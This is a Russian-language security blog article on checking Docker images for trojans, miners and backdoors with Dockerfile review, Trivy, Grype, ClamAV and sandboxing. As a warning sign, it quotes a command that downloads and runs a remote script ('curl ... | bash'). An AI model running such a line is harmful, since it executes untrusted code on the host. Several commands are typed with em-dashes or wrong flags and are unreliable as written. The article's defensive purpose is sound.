Не запускайте Docker-образы, пока не проверите их на трояны и бэкдоры

Не запускайте Docker-образы, пока не проверите их на трояны и бэкдоры

Вы скачали готовый образ с Docker Hub или загрузили свой собственный. Нажимаете `docker run`, и всё работает. Но за этим спокойствием может скрываться реальная угроза. За последние годы инциденты с внедрением вредоносного кода в публичные реестры стали нормой. Злоумышленники умеют маскировать майнеры, шифровальщики и бэкдоры так, что их код выглядит как легитимная утилита.

Многие администраторы думают, что проверка на вирусы — это дело антивирусов на хосте. Это ошибка. Антивирус на сервере часто сканирует файлы только после того, как они попали на диск. А с Docker-образом всё сложнее: он состоит из слоёв, и вредоносный код может быть запущен сразу при старте контейнера, минуя стандартные проверки файловой системы.

В этой статье разберём, как проверить образ на наличие встроенных угроз до того, как вы запустите его в продакшене. Без лишней теории, только рабочие инструменты и конкретные шаги.

Почему стандартных средств не хватает

По умолчанию Docker не сканирует образы. Он доверяет пользователю. Если вы скачиваете образ из публичного реестра, вы берёте на себя ответственность за его содержимое. Злоумышленники часто создают поддельные репозитории с названиями, похожими на популярные проекты (например, `nginx-official` вместо `nginx`), и загружают туда модифицированные образы с вредоносными скриптами.

Вредоносный код в контейнере может проявляться по-разному:

  • Скрытый майнер: потребляет 80-90% ресурсов CPU, замедляя все остальные сервисы.
  • Бэкдор: открывает порт или устанавливает SSH-ключ, позволяя хакеру получить доступ к вашему серверу.
  • Стеганография: код зашит в изображения или файлы метаданных, которые активируются при определённых условиях.
  • Эксплойты: заранее установленные инструменты для атаки на другие системы внутри сети.

Полагаться на удачу и «проверку на глаз» нельзя. Даже опытные разработчики могут не заметить одну строку в скрипте entrypoint. Нам нужен автоматизированный подход.

Этап 1: Визуальная и логическая проверка (если есть доступ к Dockerfile)

Если вы собираете образ сами или у вас есть доступ к исходному `Dockerfile`, это лучший момент для проверки. Не запускайте сборку, пока не изучите файл.

На что смотреть в первую очередь:

  1. Инструкции `RUN`: Ищите подозрительные вызовы `curl`, `wget`, `bash -c`, которые подгружают скрипты из неизвестных источников. Например, команда `curl -s https://unknown-site.ru/script.sh | bash` — это красный флаг. Откуда этот скрипт? Зачем он нужен?
  2. Инструкции `ENV`: Проверьте переменные окружения. Иногда вредоносные данные (пароли, ключи API) зашиваются прямо в образ в открытом виде. Это не только троян, но и утечка данных.
  3. Инструкции `ENTRYPOINT` и `CMD`: Это то, что запускается сразу при старте контейнера. Если там выполняется сложный скрипт или скрипт, не имеющий отношения к основной задаче образа (например, запуск процессора майнинга в образе для базы данных), это явная угроза.
  4. Базовый образ: Проверьте, от чего наследуется ваш образ (`FROM`). Если это какой-то странный, малоизвестный пользовательский образ, риск заражённости возрастает в разы. Лучше использовать официальные образы (`FROM node`, `FROM python:3.9-slim`) и собирать поверх них.

Этап 2: Автоматическое сканирование уязвимостей (SAST)

Даже если вы пишете код сами, вы используете сторонние библиотеки. Вредоносный код может попасть в образ через уязвимый пакет (например, через `pip install` или `npm install`), который содержит эксплойт. Для этого нужны инструменты статического анализа.

Мы не будем перечислять все инструменты мира, остановимся на двух самых надежных и популярных решениях, которые реально помогают:

1. Trivy (от Aqua Security)

Это, пожалуй, самый популярный инструмент сейчас. Он быстрый, бесплатный и умеет сканировать не только уязвимости (CVE), но и секреты (пароли, ключи) и некорректные конфигурации.

Как проверить образ:

docker run —rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy image
—scanners vuln,secret,config
—severity HIGH,CRITICAL
YOUR_IMAGE_NAME:TAG

Параметры здесь важны:

  • --scanners vuln,secret — просит Trivy искать уязвимости и скрытые секреты.
  • --severity HIGH,CRITICAL — отфильтровывает «мелкий мусор». Нам важно знать о серьёзных проблемах. Если вы видите множество предупреждений уровня LOW, это может быть просто устаревшая библиотека, которую не так просто обновить.

Если Trivy находит Critical уязвимость, это повод не запускать образ, пока вы не поймёте, в чём дело. Часто это старые версии библиотек, которые можно заменить в Dockerfile.

2. Grype (от Anchore)

Альтернатива Trivy. Работает по схожему принципу. Иногда он находит те уязвимости, которые пропускает Trivy, и наоборот. Хорошая практика — запускать оба инструмента, если речь идёт о критически важной инфраструктуре.

Пример команды:

grype YOUR_IMAGE_NAME:TAG —fail-on high

Этап 3: Поиск вредоносного ПО (Malware Scanning)

Важно понимать разницу: уязвимость (CVE) — это ошибка в коде, которой можно воспользоваться. Троян — это намеренно внедрённый вредоносный код. Инструменты вроде Trivy по умолчанию ищут CVE. Они могут не увидеть троян, если он написан с нуля и не использует известные уязвимости.

Для поиска именно вредоносного ПО (вирусов, бэкдоров) нужно использовать специализированные сканеры, работающие как антивирусы.

ClamAV в связке с Docker

ClamAV — это классический антивирус с открытым кодом. Он умеет сканировать файловые системы. Поскольку Docker-образ — это просто набор файловых слоёв, мы можем «размонтировать» его и проверить содержимое.

Вам не нужно устанавливать ClamAV на ваш основной сервер. Лучше всего использовать его в контейнере для сканирования других контейнеров. Это называется «оркестрация сканирования».

Примерный алгоритм действий, если вы хотите проверить образ на наличие вирусов:

  1. Экспортируйте образ в tar-архив: docker save -o image.tar image_name.
  2. Смонтируйте этот архив в контейнер с ClamAV.
  3. Запустите сканирование.

Это кажется сложным вручную, поэтому в продакшене используют готовые решения, такие как ClamD или специализированные инструменты вроде ClamAV Docker Scanner.

Также популярны коммерческие решения (Snyk, Sysdig, Aqua), которые имеют собственные базы сигнатур вредоносного ПО. Они могут найти известные образцы майнеров или стилкеров, которые были включены в базу данных еще до того, как вы скачали образ.

Этап 4: Динамический анализ (Песочница)

Иногда статический анализ (просмотр кода и файлов) ничего не показывает. Код может быть зашифрован или запускаться только при определённых условиях. В таком случае нужно посмотреть, как контейнер ведёт себя в реальной жизни.

Здесь помогает «песочница». Вы запускаете контейнер в изолированной среде и следите за его действиями. Если внутри контейнера происходит что-то подозрительное, вы это увидите.

Что смотреть в логах и процессах во время запуска:

  • Сетевые соединения: Запустите контейнер с ограниченным сетевым доступом или используйте инструмент типа netstat / ss внутри него. Если процесс пытается соединиться с IP-адресом, который не знает ваша компания (например, сервер в другой стране), это тревожный знак.
  • Использование ресурсов: Если при старте CPU или память резко взлетают до 100% и не падают — скорее всего, это майнер.
  • Создание файлов: Вредоносные программы часто пишут файлы в системные директории (/tmp, /var), создают новые пользователей или устанавливают cron-задачи для самовосстановления.

Инструменты для динамического анализа:

  • sysdig: Позволяет видеть системные вызовы в реальном времени. Команда sysdig -c spy_process покажет, что именно делает процесс.
  • gVisor: Это не просто инструмент, а среда выполнения контейнеров. Она изолирует контейнер от хоста ещё сильнее, чем стандартный Docker. Если вы запускаете чужой образ, используйте gVisor вместо Docker Engine. Даже если троян выйдет наружу, он не сможет добраться до ядра вашей машины.

Сравнение подходов к проверке

Чтобы вы не запутались, давайте сравним основные методы. Не существует одного «волшебного» способа, поэтому важно понимать, что именно вы ищете.

Метод Чего ищет Плюсы Минусы
Trivy / Grype Известные уязвимости (CVE), секреты Быстро, бесплатно, интуитивно понятно Не находит специально написанные трояны (нулевых дней)
ClamAV (антивирус) Известные сигнатуры вирусов и майнеров Находит конкретные вредоносные программы Может дать ложные срабатывания, требует обновления баз
Песочница (Dynamic) Поведение программы (сеть, процессы) Самый эффективный метод для поиска неизвестных угроз Сложно настроить, требует времени на запуск
Визуальный код-ревью Ошибки разработчика, подозрительные команды Позволяет понять логику сборки Человеческий фактор, можно пропустить скрытые строки

Частые ошибки при проверке

Даже опытные специалисты допускают ошибки, которые сводят безопасность к нулю. Вот список того, чего делать точно не стоит:

1. Игнорирование «мелких» уязвимостей
Вы видите в логах Trivy 50 предупреждений уровня LOW. Вы думаете: «Окей, это просто старые библиотеки, главное, что Critical нет». Это ошибка. Вредоносный код часто эксплуатирует цепочку из нескольких уязвимостей среды выполнения. Если ваша среда (base image) устарела, вы открыты для атак.

2. Слепая доверчивость к звездам на Docker Hub
Вы видите образ с 10 миллионами загрузок и 5000 звёздами. Кажется, что это безопасно. Но если хакер взломает аккаунт популярного разработчика (а такое случается), он может загрузить валидированный вредоносный образ. Всегда проверяйте, даже если образ «популярный».

3. Запуск в режиме привилегий
Вы запускаете образ с флагом `—privileged` или монтируете весь диск хоста (`-v /:/host`). Если в этом образе есть троян, он получает полный контроль над вашей машиной. Никогда не запускайте чужие образы с привилегиями администратора.

4. Отсутствие изоляции сети
Вы запустили контейнер и он сразу в сети. Если там есть бэкдор, он сразу начинает выходить в интернет. Всегда ограничивайте сеть.

Практические сценарии: что делать в разных ситуациях

Не у всех есть бюджет на дорогие системы безопасности. Давайте разберём, как поступить в зависимости от ваших ресурсов и ситуации.

Сценарий 1: Вы разработчик-одиночка, небольшой проект

Реальность: у вас нет времени на сложные настройки, но вы хотите спать спокойно.

Решение:

  • Используйте Trivy в режиме CI/CD (например, в GitHub Actions). Это бесплатно и автоматически.
  • Запустите образ локально, но без доступа к интернету (или с фейловым DNS), чтобы проверить, не пытается ли он куда-то «позвонить».
  • Следите за официальными источниками. Не качайте образы с непонятных репозиториев.

Сценарий 2: Корпоративная среда, критическая инфраструктура

Реальность: цена ошибки высока. Бюджет есть, но нужно обосновать выбор инструментов.

Решение:

  • Внедрите Clair или Trivy в пайплайн сборки. Образ не должен попадать в продакшен без прохождения проверки.
  • Используйте gVisor или Kata Containers для запуска сторонних образов. Это создаст дополнительный слой защиты.
  • Настройте мониторинг сетевой активности (например, через cilium или sysdig), чтобы видеть подозрительные исходящие соединения.
  • Регулярно перебирайте образы. Уязвимости появляются постоянно. То, что было безопасно вчера, может быть уязвимым сегодня.

Сценарий 3: Вы получили образ от клиента или партнёра

Реальность: клиент говорит: «Вот образ, просто запустите». Вы не хотите портить отношения, но боитесь.

Решение:

  • Попросите предоставить Dockerfile. Если отказывают — это повод насторожиться.
  • Запустите образ в изолированной виртуальной машине (VM), отдельно от основного сервера. Это защита «последней мили».
  • Запустите сканирование через Trivy и ClamAV, даже если это займёт время.
  • Сообщите клиенту, что это требование вашей политики безопасности, а не недоверие к ним лично.

Как настроить процесс проверки (пошагово)

Чтобы не усложнять жизнь, предлагаю внедрить простую процедуру. Вот как это выглядит на практике:

  1. Получение образа: Вы скачали `image_name:tag`.
  2. Быстрая проверка: Запустите команду `trivy image —scanners vuln,image —severity CRITICAL image_name:tag`. Если результат — `No vulnerabilities found`, можно переходить дальше. Если есть критические уязвимости — не запускайте, ищите обновленную версию или исправляйте.
  3. Проверка на вредоносное ПО: Если образ критичный, запустите `clamav` для сканирования слоёв. Это займёт чуть больше времени, но даст уверенность.
  4. Запуск в песочнице: Запустите контейнер с флагом `—network none` (без сети) и посмотрите логи. Если он работает и не падает — ок.
  5. Подключение к сети: Только после успешной проверки подключите его к реальной сети, но с ограниченным доступом (только к тем серверам, которые ему реально нужны).

Важно: не пытайтесь делать всё вручную каждый раз. Настройте скрипт или плагин, который делает это автоматически.

Резюме и выводы

Проверка Docker-образов на трояны — это не разовая акция, а процесс. Нельзя один раз просканировать образ и забыть о нём. Мир угроз меняется, и то, что было безопасно вчера, может стать угрозой сегодня.

Главное, что нужно запомнить:

  • Доверяй, но проверяй. Даже официальным образам стоит следовать.
  • Используйте Trivy. Это бесплатный и эффективный инструмент для старта.
  • Изолируйте. Если сомневаетесь в образе, запускайте его в изолированной среде (gVisor, VM).
  • Смотрите на поведение. Статика не всегда видит трояны, поэтому обратите внимание на то, что контейнер делает в процессе работы.

Безопасность начинается с малого. Начните с простого сканирования образов через Trivy уже сегодня, и вы убережете себя от множества проблем в будущем.

Информация в статье носит справочный характер. При внедрении систем безопасности в критической инфраструктуре рекомендуется консультация со специалистами по информационной безопасности.

Оцените статью
PEFile — Безопасность и технологии простым языком